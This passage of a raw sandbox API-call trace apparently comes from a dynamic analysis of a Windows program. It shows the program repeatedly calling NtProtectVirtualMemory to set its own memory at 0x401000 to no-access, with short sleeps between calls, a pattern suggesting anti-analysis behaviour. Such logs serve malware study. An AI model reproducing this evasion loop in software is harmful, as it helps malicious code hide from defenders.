ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.520] Sleep (dwMilliseconds=0x5) [0292.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.564] Sleep (dwMilliseconds=0x5) [0292.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.613] Sleep (dwMilliseconds=0x5) [0292.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.655] Sleep (dwMilliseconds=0x5) [0292.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.704] Sleep (dwMilliseconds=0x5) [0292.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.752] Sleep (dwMilliseconds=0x5) [0292.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.798] Sleep (dwMilliseconds=0x5) [0292.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.846] Sleep (dwMilliseconds=0x5) [0292.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.936] Sleep (dwMilliseconds=0x5) [0292.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0292.980] Sleep (dwMilliseconds=0x5) [0293.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.026] Sleep (dwMilliseconds=0x5) [0293.073] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.074] Sleep (dwMilliseconds=0x5) [0293.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.151] Sleep (dwMilliseconds=0x5) [0293.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.195] Sleep (dwMilliseconds=0x5) [0293.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.239] Sleep (dwMilliseconds=0x5) [0293.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.285] Sleep (dwMilliseconds=0x5) [0293.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.335] Sleep (dwMilliseconds=0x5) [0293.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.379] Sleep (dwMilliseconds=0x5) [0293.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.429] Sleep (dwMilliseconds=0x5) [0293.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.480] Sleep (dwMilliseconds=0x5) [0293.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.522] Sleep (dwMilliseconds=0x5) [0293.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.575] Sleep (dwMilliseconds=0x5) [0293.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.622] Sleep (dwMilliseconds=0x5) [0293.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.679] Sleep (dwMilliseconds=0x5) [0293.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.722] Sleep (dwMilliseconds=0x5) [0293.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.770] Sleep (dwMilliseconds=0x5) [0293.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.818] Sleep (dwMilliseconds=0x5) [0293.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.867] Sleep (dwMilliseconds=0x5) [0293.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.910] Sleep (dwMilliseconds=0x5) [0293.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0293.958] Sleep (dwMilliseconds=0x5) [0294.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.007] Sleep (dwMilliseconds=0x5) [0294.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.054] Sleep (dwMilliseconds=0x5) [0294.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.099] Sleep (dwMilliseconds=0x5) [0294.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.166] Sleep (dwMilliseconds=0x5) [0294.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.211] Sleep (dwMilliseconds=0x5) [0294.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.253] Sleep (dwMilliseconds=0x5) [0294.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.303] Sleep (dwMilliseconds=0x5) [0294.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.367] Sleep (dwMilliseconds=0x5) [0294.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.409] Sleep (dwMilliseconds=0x5) [0294.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.458] Sleep (dwMilliseconds=0x5) [0294.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.505] Sleep (dwMilliseconds=0x5) [0294.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.550] Sleep (dwMilliseconds=0x5) [0294.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.599] Sleep (dwMilliseconds=0x5) [0294.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.649] Sleep (dwMilliseconds=0x5) [0294.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.692] Sleep (dwMilliseconds=0x5) [0294.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.738] Sleep (dwMilliseconds=0x5) [0294.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.788] Sleep (dwMilliseconds=0x5) [0294.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.831] Sleep (dwMilliseconds=0x5) [0294.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.879] Sleep (dwMilliseconds=0x5) [0294.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.927] Sleep (dwMilliseconds=0x5) [0294.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0294.976] Sleep (dwMilliseconds=0x5) [0295.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.020] Sleep (dwMilliseconds=0x5) [0295.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.069] Sleep (dwMilliseconds=0x5) [0295.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.112] Sleep (dwMilliseconds=0x5) [0295.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.208] Sleep (dwMilliseconds=0x5) [0295.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.256] Sleep (dwMilliseconds=0x5) [0295.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.301] Sleep (dwMilliseconds=0x5) [0295.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.350] Sleep (dwMilliseconds=0x5) [0295.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.395] Sleep (dwMilliseconds=0x5) [0295.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.453] Sleep (dwMilliseconds=0x5) [0295.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.507] Sleep (dwMilliseconds=0x5) [0295.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.577] Sleep (dwMilliseconds=0x5) [0295.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.616] Sleep (dwMilliseconds=0x5) [0295.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.659] Sleep (dwMilliseconds=0x5) [0295.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.708] Sleep (dwMilliseconds=0x5) [0295.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.758] Sleep (dwMilliseconds=0x5) [0295.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.807] Sleep (dwMilliseconds=0x5) [0295.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.856] Sleep (dwMilliseconds=0x5) [0295.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.897] Sleep (dwMilliseconds=0x5) [0295.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.946] Sleep (dwMilliseconds=0x5) [0295.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0295.995] Sleep (dwMilliseconds=0x5) [0296.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.044] Sleep (dwMilliseconds=0x5) [0296.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.090] Sleep (dwMilliseconds=0x5) [0296.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.138] Sleep (dwMilliseconds=0x5) [0296.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 